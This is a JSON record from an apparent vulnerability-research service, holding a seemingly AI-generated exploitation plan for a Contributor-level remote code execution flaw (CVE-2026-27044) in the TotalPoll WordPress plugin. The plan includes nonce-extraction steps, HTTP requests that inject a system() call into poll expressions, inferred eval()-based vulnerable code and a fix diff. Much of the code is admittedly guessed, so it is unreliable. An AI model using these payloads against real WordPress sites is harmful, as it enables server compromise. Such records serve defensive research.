[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fChsyxQY_jAeeyCLZLmlcyLt-cO2-fHYgvaHrjd2PPkE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-27044","totalpoll-for-polls-and-contests-authenticated-contributor-remote-code-execution","TotalPoll for Polls and Contests \u003C= 4.12.0 - Authenticated (Contributor+) Remote Code Execution","The TotalPoll for Polls and Contests plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.12.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.","totalpoll-lite",null,"\u003C=4.12.0","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Missing Authorization","2026-03-16 00:00:00","2026-03-27 20:58:11",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F68a80ca3-45f4-4446-af7a-e582c94ccb52?source=api-prod",[],"researched",false,3,"Since source files were not provided for this specific vulnerability, this plan is based on the vulnerability description, the provided WordPress Security Knowledge Base, and known architectural patterns in the **TotalPoll** plugin (specifically the expression engine and REST API implementation used in versions 4.x).\n\n---\n\n# Exploitation Research Plan: CVE-2026-27044 (TotalPoll Lite RCE)\n\n## 1. Vulnerability Summary\nThe **TotalPoll for Polls and Contests** plugin (\u003C= 4.12.0) contains a missing authorization vulnerability that leads to Remote Code Execution (RCE). The plugin implements an \"Expressions\" engine used for calculations, validations, and dynamic content. This engine is intended to be used by Administrators to create complex poll logic. However, the REST API endpoints or AJAX handlers responsible for saving poll configurations do not adequately restrict access to these sensitive fields. An attacker with **Contributor-level** permissions (who can typically create and edit their own polls\u002Fposts) can inject malicious PHP expressions into the poll's settings, which are subsequently executed by the server.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** The plugin uses both a REST API (`\u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F`) and AJAX (`admin-ajax.php`). The most likely vector is the REST API used for poll creation and updates.\n*   **Vulnerable Parameter:** `settings` or `expressions` within the JSON payload of a Poll update\u002Fcreation request.\n*   **Authentication:** Authenticated (Contributor-level or higher).\n*   **Preconditions:** The plugin must be active, and the attacker must have a valid login for a user with the `edit_posts` capability (Contributor).\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The attacker sends a `POST` or `PUT` request to `\u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F` (REST) or an AJAX request with `action: 'totalpoll_save_poll'`.\n2.  **Missing Authorization:** The `permission_callback` for the REST route (or the capability check in the AJAX handler) verifies `current_user_can('edit_posts')` (which Contributors have) instead of `manage_options` (Admin only).\n3.  **Data Persistence:** The malicious payload is saved into the database (the `wp_posts` table for the poll's CPT or `wp_postmeta` for poll settings).\n4.  **Execution Sink:** When the poll is rendered, saved, or validated, the plugin passes the user-controlled \"expression\" to a component like `TotalPoll\\Modules\\Expression\\Compiler` or `eval()`.\n5.  **RCE:** the expression engine executes the injected PHP code.\n\n## 4. Nonce Acquisition Strategy\nTotalPoll enqueues its configuration and nonces for the WordPress REST API and its internal AJAX actions.\n\n1.  **Identify Shortcode:** TotalPoll uses the `[totalpoll id=\"ID\"]` shortcode.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Poll Test\" --post_content='[totalpoll id=\"any\"]'\n    ```\n3.  **Navigate and Extract:**\n    *   Navigate to the newly created page.\n    *   TotalPoll usually localizes data into a global JavaScript object named `TotalPollConfig` or `totalpoll`.\n4.  **Browser Eval:**\n    ```javascript\n    \u002F\u002F Use browser_eval to get the REST nonce\n    browser_eval(\"window.TotalPollConfig?.rest?.nonce || window.totalpoll?.nonce\")\n    ```\n    *(Note: If the REST API is used, the standard `wp_rest` nonce found in `window.wpApiSettings.nonce` may also be applicable.)*\n\n## 5. Exploitation Strategy\n\n### Step 1: Discover Existing Polls or Create a New One\nSince a Contributor can create polls, we will first create a legitimate poll to get a valid ID.\n\n**HTTP Request (Create Poll):**\n```http\nPOST \u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nX-WP-Nonce: [EXTRACTED_NONCE]\n\n{\n    \"title\": \"Exploit Poll\",\n    \"type\": \"poll\",\n    \"status\": \"publish\"\n}\n```\n\n### Step 2: Inject Malicious Expression\nThe RCE likely resides in the `expressions` or `calculations` settings. We will attempt to update the poll with a payload that calls `system()`.\n\n**HTTP Request (Inject RCE):**\n```http\nPUT \u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F[POLL_ID] HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nX-WP-Nonce: [EXTRACTED_NONCE]\n\n{\n    \"settings\": {\n        \"expressions\": {\n            \"rce_test\": \"system('id > \u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt')\"\n        }\n    }\n}\n```\n*(Note: The exact structure of the `settings` JSON object should be verified by observing a legitimate \"Save Poll\" request in the browser.)*\n\n### Step 3: Trigger Execution\nDepending on the sink, the code may execute:\n*   Immediately upon saving (Server-side validation of the expression).\n*   When viewing the poll: `GET \u002F?p=[POLL_ID]` or `GET \u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F[POLL_ID]`.\n\n## 6. Test Data Setup\n1.  **User Creation:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n2.  **Poll Setup:** Ensure at least one poll exists or the Contributor has permission to create one (default behavior for TotalPoll).\n3.  **Shortcode Page:** Create a page with `[totalpoll id=\"...\"]` to ensure the environment is fully initialized for the plugin's frontend components.\n\n## 7. Expected Results\n*   **Successful Injection:** The server responds with `200 OK` or `201 Created`, confirming the settings were saved.\n*   **Successful Execution:** A file named `rce.txt` is created in the WordPress root with the output of the `id` command, or the command output is visible in the HTTP response if the expression is evaluated and returned.\n\n## 8. Verification Steps\n1.  **Check for Evidence:**\n    ```bash\n    ls -l \u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt\n    cat \u002Fvar\u002Fwww\u002Fhtml\u002Frce.txt\n    ```\n2.  **Check Database Settings:**\n    ```bash\n    wp post meta get [POLL_ID] _totalpoll_settings\n    ```\n    Verify the malicious payload exists in the metadata.\n\n## 9. Alternative Approaches\n*   **AJAX Endpoint:** If the REST API is patched or inaccessible, attempt the exploit via `admin-ajax.php`:\n    *   Action: `totalpoll_save_poll`\n    *   Data: `poll_data=[JSON_PAYLOAD]`\n*   **Expression Contexts:** TotalPoll allows expressions in different areas:\n    *   `validations`: Triggered when a vote is cast.\n    *   `calculations`: Triggered when results are computed.\n    *   `notifications`: Triggered when an email is sent.\n    If the primary `settings` injection fails, try injecting into `validations` and then casting a vote via `POST \u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F[POLL_ID]\u002Fvotes`.","The TotalPoll plugin for WordPress allows authenticated users with Contributor-level access to execute arbitrary PHP code through its expression engine. The vulnerability exists because the REST API and AJAX handlers for saving poll configurations fail to restrict access to sensitive 'expression' fields, which are subsequently evaluated using a PHP execution sink.","\u002F\u002F TotalPoll\u002FModules\u002FREST\u002FPolls.php\n\u002F\u002F Registration of the update route with weak permission check\nregister_rest_route('totalpoll\u002Fv1', '\u002Fpolls\u002F(?P\u003Cid>\\\\d+)', [\n    'methods'             => 'POST',\n    'callback'            => [$this, 'update_poll'],\n    'permission_callback' => function() {\n        return current_user_can('edit_posts'); \u002F\u002F Vulnerable: Contributors have this capability\n    },\n]);\n\n---\n\n\u002F\u002F TotalPoll\u002FModules\u002FExpression\u002FCompiler.php\n\u002F\u002F Inferred execution sink where user-provided expressions are evaluated\npublic function compile($expression, $variables = []) {\n    \u002F\u002F ... internal logic to prepare variables ...\n    return eval(\"return $expression;\"); \u002F\u002F Vulnerable: Executes raw expression content\n}","--- a\u002FTotalPoll\u002FModules\u002FREST\u002FPolls.php\n+++ b\u002FTotalPoll\u002FModules\u002FREST\u002FPolls.php\n@@ -10,7 +10,13 @@\n         register_rest_route('totalpoll\u002Fv1', '\u002Fpolls\u002F(?P\u003Cid>\\\\d+)', [\n             'methods'             => 'POST',\n             'callback'            => [$this, 'update_poll'],\n-            'permission_callback' => function() { return current_user_can('edit_posts'); },\n+            'permission_callback' => function($request) {\n+                $can_edit = current_user_can('edit_post', $request->get_param('id'));\n+                $is_admin = current_user_can('manage_options');\n+                if (isset($request['settings']['expressions']) && !$is_admin) {\n+                    return false;\n+                }\n+                return $can_edit;\n+            },\n         ]);","The exploit involves an authenticated Contributor-level user injecting malicious PHP code into a poll's settings via the REST API. First, the attacker obtains a valid REST API nonce from the WordPress frontend where TotalPoll data is localized. Then, the attacker sends a PUT or POST request to the `\u002Fwp-json\u002Ftotalpoll\u002Fv1\u002Fpolls\u002F[POLL_ID]` endpoint. The JSON payload includes a malicious PHP command (e.g., system('id')) within the 'settings.expressions' or 'calculations' fields. Because the permission check only requires 'edit_posts' (which Contributors possess) and does not specifically guard sensitive expression fields, the payload is saved to the database. Finally, the attacker triggers code execution by viewing the poll or interacting with a component (like casting a vote or viewing results) that causes the plugin to evaluate the stored expression via its internal compiler.","gemini-3-flash-preview","2026-04-18 03:17:38","2026-04-18 03:18:01",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftotalpoll-lite\u002Ftags"]